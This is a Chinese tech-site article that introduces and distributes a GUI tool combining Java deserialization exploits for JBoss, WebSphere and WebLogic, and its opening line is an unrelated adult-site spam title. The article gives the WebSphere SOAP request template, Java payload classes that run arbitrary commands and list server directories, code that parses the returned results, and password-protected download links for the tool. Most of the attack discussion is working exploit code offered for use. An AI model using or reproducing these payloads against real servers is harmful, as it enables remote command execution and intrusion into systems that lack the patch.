自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Java反序列化集成工具

安全 數(shù)據(jù)安全
Java反序列化漏洞已經(jīng)被曝出一段時(shí)間了,本人參考了網(wǎng)上大神的放出來的工具,將Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。其實(shí),WebSphere的利用過程也和JBoss差不多,只不過在發(fā)送Payload和解析結(jié)果的時(shí)候多了個(gè)Base64編碼(解碼)的過程。

0X00 概述

Java反序列化漏洞已經(jīng)被曝出一段時(shí)間了,本人參考了網(wǎng)上大神的放出來的工具,將Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。其實(shí),WebSphere的利用過程也和JBoss差不多,只不過在發(fā)送Payload和解析結(jié)果的時(shí)候多了個(gè)Base64編碼(解碼)的過程。

[[161347]]

本工具暫時(shí)支持的功能:

1、本地命令執(zhí)行并回顯,無須加載外部jar包,支持純內(nèi)網(wǎng)環(huán)境檢測(cè)。

2、支持JBoss、WebSphere和Weblogic的反序列化漏洞檢測(cè)。

3、支持https數(shù)據(jù)傳輸。

4、支持文件目錄列表。

0X01 WebSphere的反序列化漏洞利用過程

WebSphere的反序列化漏洞發(fā)生的位置在SOAP的通信端口8880,使用的通信協(xié)議是https,發(fā)送的數(shù)據(jù)是XML格式的數(shù)據(jù)。

  1. <?xml version='1.0'encoding='UTF-8'?> 
  2.   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> 
  3.   <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> 
  4.   <LoginMethod>BasicAuth</LoginMethod> 
  5.   </SOAP-ENV:Header> 
  6.   <SOAP-ENV:Body> 
  7.   <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
  8.   <objectname xsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname> 
  9.   <attribute xsi:type="xsd:string">ringBufferSize</attribute> 
  10.   </ns1:getAttribute> 
  11.   </SOAP-ENV:Body> 
  12.   </SOAP-ENV:Envelope> 

將我們構(gòu)造的執(zhí)行命令的payload通過base64編碼后放在objectname節(jié)點(diǎn)中,通過https發(fā)送到服務(wù)器端,服務(wù)器端調(diào)用相應(yīng)的執(zhí)行函數(shù),將結(jié)果發(fā)送給客戶端,同樣的,返回的數(shù)據(jù)也是經(jīng)過base64編碼的。WebSphere的Payload和JBoss的基本一致。如下是執(zhí)行命令的payload。

  1. public RunCommand(String command) throws Exception  
  2.    {  
  3.            Process proc = Runtime.getRuntime().exec(command);  
  4.            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
  5.            StringBuffer sb = new StringBuffer();  
  6.            String line;  
  7.            while ((line = br.readLine()) != null)  
  8.            {  
  9.                sb.append(line).append("\n");  
  10.            }  
  11.            String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";  
  12.            br.close();  
  13.            Exception e=new Exception(result);  
  14.            throw e;  
  15.    } 

將命令執(zhí)行結(jié)果以字符隔開,這樣在客戶端獲取數(shù)據(jù)后,可通過split、substring等方法對(duì)命令的執(zhí)行結(jié)果進(jìn)行解析。解析命令的源碼如下:

  1. public static String parseResult(String result)  
  2.    {  
  3.    String tmp=result.split("<faultstring>")[1];  
  4.    String reString=tmp.split("</faultstring>")[0];  
  5.    String resultTmp=new String(Base64.getDecoder().decode(reString));  
  6.    int x1=resultTmp.indexOf("==========")+10;  
  7.    int x2=resultTmp.lastIndexOf("==========")-1;  
  8.    String returnValue="";  
  9.    if(x1>=0&&x2>=0)  
  10.    returnValue=resultTmp.substring(x1, x2).trim();  
  11.    else  
  12.    returnValue=resultTmp;  
  13.    return returnValue;  
  14.    } 

0X02 文件列表讀取

獲取文件列表的功能是通過Java的listRoot和listFiles來實(shí)現(xiàn)的,獲取文件和目錄列表的過程和命令執(zhí)行大概相同。在這我就簡(jiǎn)單的描述一下過程:如果傳入方法的是一個(gè)空值,那么就通過Files.listRoot獲取根目錄或者驅(qū)動(dòng)器列表,否則,傳入的值是路徑的話,就通過file.listFiles方法獲取目錄下的所有文件和目錄,將獲取到的目錄名放到{}中,將文件名放在[]中,這樣,就方便我們?cè)诔绦蛑袑?duì)獲取到的數(shù)據(jù)進(jìn)行解析。

獲取目錄的payload代碼如下:

  1. public GetFileList(String fileName) throws Exception  
  2.     {  
  3.     StringBuilder sb=new StringBuilder();  
  4.     String result=new String();  
  5.     if(fileName.isEmpty())  
  6.     {  
  7.     File[] files=File.listRoots();  
  8.     for(int i=0;i<files.length;i++)  
  9.     {  
  10.     sb.append(files[i].getAbsolutePath()).append(",");  
  11.     }  
  12.     result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";  
  13.     }  
  14.     else  
  15.     {  
  16.     File file=new File(fileName);  
  17.     StringBuilder dirList=new StringBuilder();  
  18.     StringBuilder fileList=new StringBuilder();  
  19.     if(file.isDirectory())  
  20.     {  
  21.     File[] list=file.listFiles();  
  22.     dirList.append("{");  
  23.     fileList.append("[");  
  24.     for(int i=0;i<list.length;i++)  
  25.     {  
  26.     if(list[i].isDirectory())  
  27.     dirList.append(list[i].getAbsolutePath()).append(",");  
  28.     else  
  29.     fileList.append(list[i].getAbsolutePath()).append(",");  
  30.     }  
  31.     }  
  32.     if(!dirList.toString().isEmpty())  
  33.     sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");  
  34.     if(!fileList.toString().isEmpty())  
  35.     sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");  
  36.     result=sb.toString();  
  37.     }  
  38.     result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";  
  39.     Exception e=new Exception(result);  
  40.             throw e;  
  41.     } 

解析的時(shí)候,先將執(zhí)行結(jié)果分離出來,再對(duì)結(jié)果base64解碼,再進(jìn)一步區(qū)分目錄和文件,分別添加到界面的目錄樹中。

注:設(shè)計(jì)時(shí)為了美觀,使用了JavaFX來設(shè)計(jì)界面,運(yùn)行時(shí)需要JDK1.8環(huán)境。

程序運(yùn)行效果如下:

Java反序列化集成工具

 

工具下載地址:http://pan.baidu.com/s/1sjXjsBz 密碼: b423

2016.1.5 工具更新內(nèi)容:

地址: http://pan.baidu.com/s/1jGSEFFS 密碼: si6t

1.多線程處理任務(wù),解決命令執(zhí)行過程中界面無法響應(yīng)的問題

2.[Bug Fix]weblogic console端口改為80時(shí)無法獲取數(shù)據(jù)

3.[Bug Fix]weblogic第一次獲取信息或執(zhí)行命令響應(yīng)時(shí)間過長(zhǎng)的問題

責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
相關(guān)推薦

2022-08-06 08:41:18

序列化反序列化Hessian

2018-03-19 10:20:23

Java序列化反序列化

2011-06-01 15:05:02

序列化反序列化

2009-06-14 22:01:27

Java對(duì)象序列化反序列化

2009-08-24 17:14:08

C#序列化

2016-09-21 00:15:27

2023-12-13 13:49:52

Python序列化模塊

2009-08-06 11:16:25

C#序列化和反序列化

2011-05-18 15:20:13

XML

2021-10-20 07:18:50

Java 序列化漏洞

2010-03-19 15:54:21

Java Socket

2019-11-20 10:07:23

web安全PHP序列化反序列化

2009-08-25 14:24:36

C#序列化和反序列化

2011-06-01 14:50:48

2021-11-18 07:39:41

Json 序列化Vue

2009-09-09 16:10:11

.NET序列化和反序列

2012-04-13 10:45:59

XML

2009-08-25 14:43:26

C#序列化和反序列化

2024-09-10 08:28:22

2024-10-07 08:26:53

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)